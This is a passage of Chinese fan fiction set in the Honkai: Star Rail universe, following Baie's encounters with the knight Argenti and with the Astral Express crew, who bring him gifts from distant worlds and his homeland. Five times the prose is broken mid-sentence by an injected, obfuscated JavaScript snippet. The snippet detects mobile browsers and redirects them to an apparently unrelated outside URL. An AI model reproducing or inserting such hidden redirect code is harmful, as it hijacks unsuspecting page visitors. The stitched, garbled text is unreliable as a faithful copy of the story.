“我曾与一位金发的巡海游侠缠斗于星海之中,只为让他承认纯美星神伊德莉拉美貌盖世无双,可惜这切磋最后反倒成了目的而不是手段……换句话说,我们都很享受战斗的过程,”银枝说,“但他实在无暇与我争斗,他的目标竟是公司。” “为何?”白厄问。 “听说是公司偷走了他们星球的东西,”银枝说,“偷窃实在丑恶,我不愿与之为伍。” “什么东西?” 银枝便压低了声音,轻声说道。 “那个东西,被他称之为。” “【翁法罗斯的烈阳】。” 6. 我吗?太阳? 奥赫玛的黎明机器被偷了? 按银枝话中的意思,白厄猜想那和他缠斗的巡海游侠多半是万敌,可让万敌巡猎星海不惜与公司缠斗也要找回的所谓“烈阳”,除了黎明机器,白厄并不敢做他想,一些呼之欲出的答案被他强压心底。可翁法罗斯升格之后,黎明机器也随同一并升格了吗?换句话说,即使没有黎明机器,作为一颗升格的星球,翁法罗斯似乎也应当有中心天体,他皱了皱眉头,对那不知潜藏何处的公司派系的憎恶感又大了一分——没什么人会喜欢强盗和殖民者,当他们殖民的目标是自己的星体时,更是如此。 他向来爱憎分明,格莱的照拂他铭记在心,可那不明的公司成员,趁着翁法罗斯新生之时妄图趁虚而入的蠹虫……他不言语,只是垂下了目光,半晌,才问道。 “那他没事吧?” “阁下,您的关心令人动容。”银枝边走边笑,“但那金色的巡海游侠身受眷顾,不知是不是巧合或是引力,短短几年间,我们竟已多次相会,纯美骑士团行于银河之中,不知启处,亦没有归途,大多数人于我们而言不过是星间过客,由此来看,能在短短几年之内多次邂逅,足以证明那位巡海游侠的穿行实在频繁,只可惜上次见面,似乎他对那所谓的烈阳如今身在何处仍然一无所知,我曾与其进行对谈,以确认他是否需要帮助。毕竟纯美骑士的脚步覆盖寰宇,若是寻找些什么东西,我们同样乐意效力。” “他拒绝你了?”白厄想了想万敌的性格,问道。 “不,”银枝随口便说,“恰恰相反,那金色的先生不吝接受他人的帮助。” 这倒是真有点不像万敌的性格了,白厄想,这家伙不应该喊着“悬锋人的字典中不存在被帮助”,然后果断地拒绝银枝相助的要求吗?答应得这么快,简直让他怀疑自己的判断,想了想,他又问道。 “那您……找到了吗?” “我想,谜题的答案已在我眼前展现,阁下。” 银枝顿住了脚步突然回头,深深地看向了他,看的白厄有些奇怪,他心说黎明机器你找到就找到啊,这么看着我干嘛?但银枝的目光看过来,那隐秘的、被他强压心底的想法却又悄悄探出细芽。他被盯得有点不适应,不得不偏过了头。 看着他这样的反应,银枝又回过了头,仿佛什么都没发生过一般,继续评价起面前的艺术作品。 “《真正的自由》,”银枝点评道,“其富有扭曲的线条和动线,笔触亦有狂乱之处,此幅画作似乎饱受争议,鉴赏家们认为自由被看似纷乱的动线具象,批判者们则认为毫无边界的自由绝非真正的自由……不过阿特拉斯人对此物多有爱戴,上次的画展上同样出现过这副展品。” “当然,”他耸了耸肩,以一种认真的语气说道,“亦可能因为其作者是阿特拉斯人……银河从不缺乏地域保护。” 白厄的心却没在这些艺术作品上,尽管他已无颜回到翁法罗斯,可他没法抗拒来自翁法罗斯的任何信息,他仿佛贪婪的幼芽渴求着每一点翁法罗斯的知识,于是他继续了刚刚的话题。 “那您……将那轮烈阳归还?” “没有。”银枝说,“看上去那位可敬的阁下实在无心归去,我自然不能强人所难。” “听您的意思……那所谓的烈阳,并非机器?” ……似乎差不多能确定他所寻找的究竟是谁,但白厄仍不死心,与此同时,他又有些奇怪,若他思考的方向没错,万敌竟会称他为【翁法罗斯的烈阳】,而非【卑鄙的刽子手】,实在令他深思。 “我由衷赞美您敏锐的感知,”银枝说,“您大可放心,强人所难绝非纯美的行事之道,纵然已答应那位金发的巡海游侠,可个体本身的意志,本就该在承诺之前。而且请您相信,我只是因与另一些可敬的朋友相约而来到此处,因而你我之间的相遇,确属巧合。” 白厄便不再说话,银枝见状也停下了他的解说,一时间周围熙熙攘攘,两人之间却静默无声,白厄走马观花地看着那些藏品,他看到旁边的阿特拉斯人用触手轻轻碰触展品旁的墙上,露出了满足的笑容。 “阿特拉斯人以触手了解画中的情感,”窥见他的眼神,银枝又缓缓开口,“这种天赋难能可贵,阿特拉斯人将之视为神明的馈赠,但在五个琥珀历之前,有位敏锐的、可崇敬的阿特拉斯人提出了疑问。” “他问,我们所感知到的情感,是否是艺术作品中唯一的情感?” “换句话说,因为这种天赋的存在,艺术鉴赏是否已经失却价值?也就是说,是否在阿特拉斯人诞生的一瞬间,艺术的一部分便已经死去了?” “为什么……会有这样的疑问?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119667|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“合理的疑问,阁下。艺术作品,诗歌、音乐,亦或者绘画,当创作完成的时刻,作者便已默认将其解释权交归他人。”银枝说,“但阿特拉斯人总能精准地捕捉作者绘画时的情感,利用触手,他们与之全然共鸣,久而久之,大多数阿特拉斯人受其影响,因此,阿特拉斯人多模仿者而少艺术家。因为他们感知情绪轻而易举,故而总会下意识地模仿复现,万物皆行于更易行走的路上……阁下,盛宴难得,此番展品中,是否有一二能得您青眼之物?” “我对凯撒大帝的……《我来,我见,我征服》很感兴趣,”白厄缓缓地说,“可否,带我看看?” 银枝便拿出了他的票,在票根上操作了两下,一张立体全息地图便出现在眼前。 “很荣幸为您效劳。”银枝手指纷飞地输入了几个字符,“B-3馆,很巧,就在距此处不远的地方。” 白厄看了看自己手中的票,又看了看银枝手上一模一样的票,又抬头看了看立体投影。 外面的世界发展真快啊,他真心实意地叹服道。 “你我今日之争辩令我欢悦,可尚有一事,阁下仍未曾回答。”银枝边走边说,“请问阁下是否承认纯美星神伊德莉拉美貌盖世无双?” “纯美骑士团……都如银枝阁下……一般?” “行于寰宇之中,践行纯美之事,践行骑士之道,将拯救奉献与牺牲刻入所行道中,此乃纯美骑士团的行事之道。”银枝肯定地说道。 “当然,同样有不幸沦落的同袍。”银枝说,说到这里,他的表情便带了些真挚的遗憾,“世间缺憾常有。” “那么……我愿意承认。”白厄点了点头,“观银枝阁下……秉性,想必那位纯美星神……美貌必然盖世无双。” “真诚地赞美您,阁下。”终于得到肯定的答案,银枝露出了满意的微笑,“行于纯美之道,我们从无虚言,故而今日所言,皆出自本心。” 白厄怀疑这敏锐的骑士话中有话,他想起这人打从一开始就没问过自己的名字,现在看来,他恐怕在见面的时候,就直接认出了自己的身份。 “为什么?”白厄问道。 为什么不直接点破自己的身份?为什么迂回地安慰?为什么要在自己身上,浪费这么多时间? “此为纯美骑士的行事之道。”银枝说。 7. 哇,开拓者! 几个系统时之后,白厄拎着大包小包离开了画展。 “阁下的审美与品味着实令人欣喜。”走在他身旁的银枝说。 听到他这话,白厄不由得多看了他两眼,只见银枝的表情无比真诚,看上去绝无弄虚作假之意。白厄不由得心生感叹,无论对方是真心还是假意,这还是第一次有人在审美方面夸赞自己,品位绝佳,不愧是纯美骑士,他想。 “阿特托斯的纪念品和它的画展同样闻名寰宇,上次到访,我亦为之痴醉……我将在此地等候我的友人,冒昧一问,阁下之后有何打算?” “我签了合同,将与一支商队同行。”白厄说。 银枝脸上第一次闪过点讶然。 “雇佣阁下吗?”似乎有些难以置信,他重复了一遍。 白厄点了点头。 “想必他们为阁下开出了无法拒绝的价码。” “单论价码……其实不算无法拒绝。” 报酬虽然不算少,可要说让他无法拒绝,那倒远远不够,可现在的白厄其实并不太在意报酬,看到银枝难得困惑的表情,他再次开口。 “我们各取所需。” “原来如此,”银枝点了点头,他没再过多追问,只是拿出了自己的“传信石板”。 “阁下,广袤的银河之中,巧合与机缘让我们相遇,我冒昧地提出请求,可否让我们共同留影,将这美妙的时刻永久留存?请放心,只是小小的纪念,期间并不会含有任何诡计与阴谋。只是为庆祝我在将纯美遍撒银河的路上又行一步。” 这并不是个过分的请求,白厄想了想,便凑了过去。 “需要我做……手势?” “如果可以的话,请您比个简单的手势便好。”银枝不以为意,他举起“传信石板”,咔嚓一声,留下一张合影,红发的骑士笑容灿烂,而他身后的白发青年笑容僵硬,小心翼翼地举起了手,比了个“V”型,似是许久未做这些事,他的动作有些生疏。 “感谢您的慷慨,阁下。”银枝眨了眨眼,收起了“传信石板”,“请您放心,在未得您的准许之前,我绝不会将我们之间珍贵的合影外传……我该如何称呼您呢?阁下?” “叫我……” “白厄!” 三步并作两步,突然有什么东西冲了上来挂上了白厄的脖颈,刚刚他其实已经有所察觉,可他乡遇故知的可能性远远小于判断出错,他简直以为自己再次沉溺于梦境与幻觉之中,那气息的主人又如此熟悉而毫无恶意,白厄便默许了他的行为,他尝试着拍了拍挂在他脖子上的那双手,意外地感到有什么温热的液体流进他的颈窝,他的身形一僵,终于敢确定并非梦境,可他几乎不知道该说什么,许久,才低低地叹了口气。 “……搭档。”他说。 “……你去哪了啊?” 许久,那挂在他脖子上的不明生物才再度哽咽出声,仿佛如释重负,又似久别重逢,最终,徒留欢喜与激动的抽泣。 “你去哪了啊……”他说,“我们到处都找不到你……你怎么这么瘦啊……” 他安抚地拍了拍开拓者的手,又费力地从他的魔爪下逃脱,转过身,看到丹恒,开拓者,长夜月,还有一位头戴光环的蓝发男子站在他身前。 “不过说起来,欸,你怎么在这,还和银枝先生认识?”在短暂的沉默后,长夜月打破了几人之间有些沉重的气氛,她大呼小叫,“明明我们都快把翁法罗斯附近翻个底朝天了!” “在纯美的路上邂逅可敬的友人实属巧合,”银枝说,“我们虽然刚刚相识,却一见如故,想必熠熠生辉的灵魂总会彼此吸引。” “看样子,作为一位恪守骑士之道的骑士,我理应为各位留出充足的叙旧时间,”说着,他又行了一礼,“请恕我暂时离开,以给各位留出充分的、不受侵扰的空间。” “银枝先生可以去列车上暂时休憩,”那头戴光环的蓝发男子轻柔地开口,“万望您不要介意我的同伴的失礼之举,毕竟久别重逢与失而复得,实在是世间一等甘醇的美事。” “那重逢的喜悦几乎浸染了我的心灵,我又如何会将此认定为失礼之举?”银枝笑了笑,“那么,我将在列车等待与诸位的相逢。” “帕姆一定很想见你,”长夜月说,“毕竟自从那次你把列车从虫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119668|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肚子里救出来,帕姆就一直念叨着你呢,上车的话,可以先喝点咖啡,姬子泡了好多。” “姬子小姐一直保留着慷慨的美德,”银枝真诚地说,“那么,我们稍后再会。” “啊!稍等一下!”开拓者如梦初醒地一拍脑袋,仿佛突然响起了什么,“看我这记性!银枝!我给你准备了见面礼,还有白厄的,见者有份!” “有我的?”白厄有点讶然,按开拓者的意思,他似乎只是为了奔赴和银枝的约定而来,应该从未想过会在这里遇到他,这样想来,为什么会有他的见面礼呢?丹恒似乎看出了他的疑惑,见开拓者把礼物袋子递给银枝后一溜烟地向星穹列车跑去,他只好无奈地承担了解释的职责。 “你的那份礼物,一直放在列车里,”他说,“虽然前几年满世界找不到人,但是我们都相信有一天我们一定会在真实的宇宙的某处相见,也正因此,我们收集了一些各地的小玩意……现在那堆东西越来越多了。” “对了,介绍一下,这位是我们的同伴,匹诺……” “只是一介踏上星穹列车的无名客,星期日。”蓝发的男子说,他微微欠身颔首,“很高兴见到您,您的美德与牺牲令我叹服。” “还有我还有我!”长夜月说,“我是三月七!之前在翁法罗斯的时候一直被叫长夜月来着!虽然你可能对咱印象不深,咱可是一直记得你呢!” “记得……我?” “对啊,”三月七理直气壮,“我当时就藏在相机里,被你们的人翻来翻去的!” 那可真不是什么好的回忆,白厄想,一些久远的、安宁的往事随着三月七的讲述被他从尘封的记忆深处挖出,他想起初次见面,他抢了开拓者的球棒打断了丹恒的击云,并不是个完美的开头,但那确实是和这些伙伴们的初见,他陷入了悠远的回忆,直到颈中突然感到一阵冰凉,冰得他一激灵。 开拓者满意地、气喘吁吁地站在了他的面前。 “这是……?” “礼物呀。”开拓者理直气壮。 “这是贝洛伯格今年的初雪。” 谁会把礼物塞进别人颈窝啊! 8. 豆汁这玩意真的很难喝 细雪融化在他的颈窝。 对于白厄来说,翁法罗斯的雪几乎只存在于典籍的记述,哀地里亚终年飘雪,但白厄没怎么踏足过那里,而奥赫玛的黎明机器永远高悬于天穹之上,那里没有雪,它的一切都是电信号所修饰的表象,白厄试图看看那捧雪,可雪化得很快,似乎知道他的想法,开拓者变魔术般拿出了一个瓶子。 “当当!恒温瓶!”他献宝似的说,“借助这个瓶子,你就能更清楚地看清雪的形态,大多数时候,贝洛伯格的雪都是细小的六角形晶体,也有少部分时候,它们大如羽毛,只可惜这次的初雪只有这一点,我好不容易才接到的!” 白厄便凑了过去,瓶中映出他天蓝色的眼睛,那些洁白的晶体确实细小又精致,凉冰冰的,他已经知道那些东西温度稍微高一点就会融化成一滩水,他惊奇地“哦”了一声,小心翼翼地戳了戳瓶身,又担心那些珍贵的雪花融在他的掌心,最后只好遗憾地收回了手。 “没事,随便碰!”三月七豪气万丈地一挥手,“恒温瓶由咱赞助,以我三月七的名义,这些雪一定不会融化!如果你实在担心的话……不如我们之后去贝洛伯格怎么样?到时候我一定要让你们看看本姑娘在雪中的威风!” “如果你说这些话之前没被我按在雪里,我简直要相信了。”开拓者在一边凉凉地补刀。 “怎么这样!”三月七不满,“那次是你们三对一耍赖……我就问你,谁在雪中喊什么‘三重面相的灵魂’?” “没什么实际功效,三月七小姐。”星期日真诚地说,“实际上它只起到恐吓和威慑作用。” “毕竟三月你在雪中优势太大,”丹恒说,“单打独斗还真打不过你。” “那也用不着上棒球棍!”三月七气鼓鼓地说,她转头看向白厄,“走嘛,到时候你来当我的队友,三对二,勉强还算公平!” “恐怕不行。” 虽然很心动,但白厄想了想,还是拒绝了,“我刚和一支舰队签订了劳务合同。” “合同?”开拓者疑惑,“可以给我看一下吗?” 一式两份,白厄便拿出了他的合同,一时间列车组四颗脑袋凑在一起左看右看,最后由星期日得出了结论。 “并无破绽。”他说,“公司的制式劳务合同……也就是说,去留随心,违约金也算合理,还有三个月试用期。” 听到“违约金”三个字,开拓者不着痕迹地摸了摸口袋,星期日使了个眼色,他便停下了动作,这种小动作当然瞒不过白厄的眼睛,但他并未说什么,他想那位星期日先生可能是看出了什么,事实上阻拦他的当然不止一纸合同,合同目前对他的约束力也并不强,正因为此,他跟随舰队而行,的确是各取所需。 事实上他只是想给自己找点事做,什么事都好,他不能停下脚步,当他试图放松自己,便总会有个恶意的声音在他的耳边讥嘲,问他有何资格放松,又有何资格欢笑。 那声音影影绰绰,不甚明朗,却又满怀恶意。 他问,卡厄斯兰那,你有何资格,有何颜面,放肆玩耍,大声欢笑? 难道你已全然忘却,那被你杀害的同伴?那被你毁灭的城池?你忘却了火焰之中漆黑的枯骨?他们不甘的眼凝望天空? “喂?”三月七拍了拍他,他才勉强回神,他看到同伴担心的眼神,拍他的三月七表情复杂,半晌才说。 “跟本姑娘一队这么恐怖吗?你的脸色突然好差。” “不,与你无关。”白厄说,“只是突然……想起一些……不好的事情。” 在场的人或多或少都了解翁法罗斯未升格之前发生的事情,自然联想到白厄想到了什么,一时间气氛又有点沉默,回过神来,他有点不好意思。 “抱歉。”他轻声说,“我……” “没事没事,”开拓者说,他重新振作起来,拉着白厄坐下,认真地看向他的眼睛。“突然想起那些事也是很正常的,要是总是强迫自己不要想反而会更难受,我们不是伙伴吗?在伙伴面前当然不用掩盖自己……不说这个,我觉得我的下一件礼物你也一定喜欢!” “是什么?”白厄便问。 “当当当当!让我揭晓答案!”三月七变魔术般掏出了另一个罐子——瓶瓶罐罐叮叮咣咣,也难为开拓者带着这些东西跑得这么快——“这就是开拓者的智商税,罗浮的晚风!” “风……也能被装进瓶子里?” “让我来解释吧。”丹恒说,“前两天我们路过仙舟罗浮,看到有人在兜售这些罐子,开拓者本来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119669|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感兴趣,但直到商家说这是‘罗浮的晚风’,他突然来了兴致,让老板给他装几瓶。” “我后来提醒他,罗浮的晚风无处不在,只要拿个罐子就可批量生产,从这个角度上来说,这无疑是一种明显的智商税。” “反正我信用点多。”开拓者在一边小声嘟囔。 “信用点多也不能这么浪费!” 三月七恨铁不成钢地敲了一下开拓者的头,开拓者啊呦一声捂住脑袋,看上去相当委屈。 “好听就是好头。”他悻悻地自我评价。 “但是我总是觉得,倘若哪天,我和过去的同伴相逢,我拿出这些瓶子,是不是在那一刻,虽然旅途不同,目的地迥异,但我们还可以坐在一起,吹拂相同的风,闻到相同的气味,这样的话,在某种程度上,我们也算共享同一份故事和天空,不是吗?”他又说。 “所以能开罐吗?”白厄说,“我有些好奇。” “啊,当然,当然!”开拓者忙不迭地打开了那瓶智商税,啊,罗浮的晚风,现在他们几个凑在一起嗅嗅闻闻,像是一群小动物。 “他好像没说谎耶。”三月七点评道。 “毕竟这生意无本万利,实在没必要造假。”丹恒说。 “闻到生机……的味道。”白厄说。 “罗浮一直很有活力。”丹恒点评。 “还有……火焰烧灼的味道?” “我们买的时候路边在卖烧烤。”三月七说。 “人群往来……” “鼻子很灵,附近确实有个市集。”开拓者说。 ”还有奇怪的味道……” “我猜也许是苏打豆汁。”提起这个,星期日一脸苦相。 “啊呀,说到这里咱想起件事,”三月七说,“刚去罗浮的时候,星期日先生不知道那是什么东西,以为是普通的豆制饮品,喝了一口之后,哎呀,他那个表情,咱现在可还记得,只可惜咱也不是那种趁人之危的人,所以没留影。满满一大口,他居然都咽下去了!” “感谢您的素养,三月七小姐。”星期日彬彬有礼地苦笑了一下,“那确实是种……味道奇特的饮品。” 真是太有素质了,星期日。 其他四人看着他,不约而同地想。 9. 生命自火中诞生 “不过我还是觉得,你最喜欢的礼物应该是这份。”开拓者又翻起他的异世界口袋,现在连白厄的好奇心也被勾了起来,他想,究竟是什么样的礼物,才能让开拓者如此笃定他一定喜欢?只见他拿出了一个小小的袋子,袋子里是金色的麦穗。 他似乎想到了什么,一时间整个人僵在那里,几乎动弹不得。 “这是……” 早有预感,他还是艰难发声,他连呼吸都放轻了,生怕这只是一场美梦,开拓者看着他的表情,同样放轻了声音。 “你可能已经猜出来了,没错,这是哀丽秘榭的麦穗,来自三年以前。” “三年前,翁法罗斯的生命自火焰中升格,生命面向寰宇发出了第一声啼哭,自此之后,那里的生命不再是0和1的简单编码,所谓的命运也终于并非程序的循环,白昼与黑夜并非来自黎明机器的照拂,而是来自宇宙真实的微光,那年的收获月,我们特意去了一趟翁法罗斯,在麦田里采下这些饱满的麦穗……诶,你别哭……” “我……” 好奇怪,仿佛被什么温暖的东西堵在胸腔,但那感觉并非火种带来的灼烧的疼痛,而是另外的、温暖的火光,卡厄斯兰那从不屈从命运,他曾一次一次地将火种包容进身体,烈火不曾使他动摇,疼痛不曾使他屈服,可在这几株真实的、金黄的、来自家乡的麦穗之前,他仍然忍不住落下泪来,他猜想自己现在的样子一定很丑,于是他慌忙地试图擦拭自己的眼泪,可泪水仍然不受控制地从眼中滑落,开拓者轻轻抱住了他,安抚地拍拍他的后背。 “没关系,一切都会好起来的。”开拓者说,“你看,新的种子已经发芽,而明年,后年,乃至更远的明天,这些新的种子会长成新的明天。 他仿佛闻到了来自故乡的麦浪的味道,白厄便想起了自己的童年,那时候他在麦田中奔跑,憧憬着所谓的英雄,他渴求着荣归故里,麦芒划过他的脚踝,那时他仍怀揣希望,而今一切沧海桑田,唯有故乡的麦子一年一年抽芽拨穗,直到此刻,结出真的果实。 “哀丽秘榭……不,翁法罗斯,还好吗?” 他又稍稍平复了一下情绪,问道。 “要咱说,你不如回去看看!”三月七积极地说,“列车去翁法罗斯可快了,那里还有我们的界域定锚……” “三月。”丹恒小声提醒。 “哎呀!”三月七似乎也想起了什么,她苦恼地抓了抓头发,“就,咱不是那个意思啦……但是其实这几年翁法罗斯那边也一直在找你,别人不说,我们每次去翁法罗斯的神悟树庭的时候,总能看见那位……纳努克吹萨克斯老师在试图用占星术找寻你的行踪……他们应该也很希望你能回去。” “阿那刻萨戈拉斯老师。”丹恒无情地纠正。 “啊对对对就是这个名字,”三月七一拍脑子,如梦初醒,“真的,就,哎呀,咱也不知道怎么说……” “没关系,三月七小姐。”白厄温声说,“这不是……你的问题。” 是我无颜回到翁法罗斯又深深地挂念那里,所以只好抓住一切机会询问那里的情况,是我不愿在梦中听到伙伴的哭泣与惨烈的哀嚎,所以懦弱地下意识地回避回到翁法罗斯这个选项,是我犯下累累罪行,只好流浪于星间,我当然应该回到翁法罗斯,作为刽子手接受千万人的审判……但,请原谅我只能自私地逃避,直到某一天,下定决心再次回到翁法罗斯,迎接属于自己的命运。 “说起来,此次……见面匆忙,如此珍贵……礼物,我本应回礼,但我手上……只有……一些刚刚……购买的纪念品。” “没事。”开拓者说,“不过你买了纪念品?让我看看!” 白厄便拿出了他在展会上购买的一些稀奇古怪的小东西。 “真稀奇,”开拓者积极地凑了过去,啧啧称奇,边笑边看,“我还以为你还会买黄紫配色的东西,其实我一直想吐槽你神奇的审美……” “毕竟你的审美培育可是能让阿格莱雅和那刻夏老师达成短暂共识的东西。” “现在……我更喜欢白色……”白厄笑了笑,似乎也想起了自己曾经的审美,“阿格莱雅……想必不会头痛了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119670|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喔,白色小狗,呜呜伯,金灿灿的贴画,还有凯撒的自传……买了好多东西!”开拓者惊奇,“话说你居然这么喜欢这些小玩意吗?” “机会难得。”他说。 实际上作为睁眼看到的第一颗有人居住的星球,他看什么都新鲜,摸什么都好奇,不同的世界深深地吸引着他,宇宙不再是存在于开拓者话语中的故事,而是他切切实实能触摸、感知的东西。不同的世界有不同的风,不同的雨,不同的生物和不同的景观,每一个角落都在发生不同的故事,而他也终于能够亲身经历,成为某个真实故事中的普通存在。 “对了对了,我们加个好友!”开拓者拿出“传讯石板”,认真地说,“之前翁法罗斯的传讯石板出来之后没法用……话说你注册账号了吗?” 正说着,他的传讯石板“叮咚”一声响。 “谁找我……吗?”开拓者疑惑地翻动着讯息,翻着翻着,他的表情越来越复杂,似乎终于翻到了底,他抬起头看了看白厄,样子活像看到了一顿大餐。 “怎么……这个表情?”白厄有些不解。 下一刻,他被激动的开拓者一把抓住。 “阿格莱雅让我们帮忙找你,”他说,“她说找到了给我1600星琼!” “星琼?” “不知道,”三月七吐槽,“这种货币只有他才会用,每次用的时候他总会发出怪叫,什么,沉船了,歪了,一发入魂了……可能是一种会带来精神疾病的货币。” “不过还是算了。”开拓者想了想,又说,“星琼和搭档还是搭档重要一点,我猜你现在可能不太想回翁法罗斯……要和我们一起走吗?” “可能……还需等等。” 过去仍然盘旋在他的心间,但他想,如果有家乡的麦穗相伴,如果再给他一点时间,总有一天,他能接受它,跨过它,而后,在真正的哀丽秘榭的麦田,与同伴们再次相见。 而结局无论是被唾骂或是被审判,那时,他应该都会有面对的勇气。 卡厄斯兰那从不会缺乏再次踏上旅程的决心。 10. 相信科学 “但报个平安总行吧?”开拓者想了想,还是挣扎着小心翼翼地问道,“阿格莱雅他们都很担心你,前几年哪里都找不到你,我们都以为你……” 说着说着,他低下了头。 “毕竟当时翁法罗斯升格的时候……算了,没事,你要是不想说,我就不告诉他们。”开拓者一拍胸口,看上去相当义气。 “报个平安……也没什么。”白厄想了想,缓缓地说,“我只是……仍需时间,对于他们来说……应该也是如此。” 他倒是隐约能感知到同伴们的复杂心绪,对于他们来说,曾经携手并肩作战的时间是真,可他所造成的伤害同样是真,想必在他生死未卜时,那些担忧会占据上风,可在确认他平安无事后,黄金裔们应该也不会费心寻找,也许他们之间最好的结局便是再不相见––或者哪天回到翁法罗斯偷偷看他们一眼,但即使这样,他亦不愿让伙伴们忧心。 开拓者便低头回了下消息,末了,拍了拍手。 “搞定了。”他说,“放心,阿格莱雅说尊重你的一切想法,不过要你记得一定照顾好自己,不许再伤害自己。” “什么时候……我……伤害自己?”这下反而轮到白厄疑惑。 “……?” 开拓者震惊抬头,发现这居然是白厄的真心话,他不由得顿了顿,“……总之,那换个说法,以前你对自己做的大多数事情,现在都不要做了,阿格莱雅还说出门在外没钱的话很多事情都不方便,委托我转交你一点钱。” “……谢谢。”沉默了半晌,心绪有些复杂,末了,他只剩一句谢谢可说。 “还有一份礼物,但这份礼物比较特殊。”三月七说,“首先确定一下,唔……确定不和我们一起走吗?” “如果……我们下次……还能相遇,我会考虑。”他说。 “那好办,”开拓者说,“你下站去哪?” “……” 搭档跳脱的脑回路时常让他头疼,而开拓者看着白厄空白了一瞬的表情,笑出了声。 “好了,不开玩笑。”他说,“这是一本来自我们天真可爱美丽动人的美少女三月七资助的旅行笔记,希望下次我们见面的时候,能在笔记上看到你的旅程!” “要记……什么?” “什么都可以呀。”开拓者理所当然地说,“旅行不就是把未知变成已知的过程,比如你今天打了三个反物质军团,看到了漂亮的星云,找到了一片与众不同的叶子,见到了新的同伴,碰到了什么有趣的事情……什么事都可以记在上面。” “而后,等我们下次见面的时候,我们拿着满满的笔记,互相交换自己的所见所闻,这样的话,简直像是我们走过了对方的旅程一样,到那时候,我们互相指着照片讲故事,或者说这种草代表幸运,那朵花特别香……什么都好,这就是我们想要的礼物!” 白厄看着那本空白的笔记本,他应该会有很多景色想要看,有许多故事想要写,空白,意味着一切都是新的,仿佛他在星间刚刚开始的旅程。 “好。”他说,“我会记录。” 他珍而重之地收下了那本笔记,仿佛收下了一份承诺。他想,这本笔记上似乎已经有了一些可以被记录的东西,比如那天的星光,又比如在陌生的地方与伙伴们的久别重逢。 “对了,要和我们一起去列车上待一会吗?我们到时候把姬子和杨叔介绍给你……” “抱歉。”他说,“但……我怕太过美好……我会沉溺其中。” “……好吧,那你要照顾好自己。”开拓者看上去有些失落,不过他并未强求,他扬了扬手上的手机,“反正我们已经有联系方式了!在外面碰到打不过的记得直接跑路,别和他们硬碰硬,注意安全……” “他要是打不过应该也没几个人能打过了吧!”三月七吐槽。 “那我们先回去啦?”开拓者又问,“毕竟银枝先生还在车里等着我们……唔,让他等太久好像也不太礼貌……” “好,”白厄说,“期待……我们的……下次遇见。” “这才对嘛。”开拓者满意地一笑,“旅途当然要充满期待才有意思,我相信我们总会在某个宇宙的角落再度重逢,到了那时候,一定要给我们讲你所经过的故事!” 白厄也笑了。 “好。”他说。 看着列车组远去的身影,他在笔记上写下了第一行字。 “在阿特拉斯,见到了伙伴,拿到了家乡的麦穗,知道了他们的消息。” “很开心。” “对了,说起来刚刚为什么要拦下我?” 直到他们回到列车,开拓者才终于问出自己的疑惑,他接收到了星期日的眼色,一时间又摸不着头脑,只好下意识地停止了动作,直到现在,他才有时间询问原因。 “我冒昧地猜测,你是想为白厄阁下支付违约金,令他与我们一同行走,对吗?” “是啊,”开拓者说,“难道这样不好吗?” “当我作为铎音聆听世人苦难时,”星期日说,“我常会见到一些苦修士,他们衣衫褴褛,食不果腹,只为自己的信仰坚定向前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119671|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为对于他们中的有些人来说,□□上的苦痛能带来精神上的满足,白厄阁下现在,应该也是如此。” “他说话好像很慢。”丹恒说。 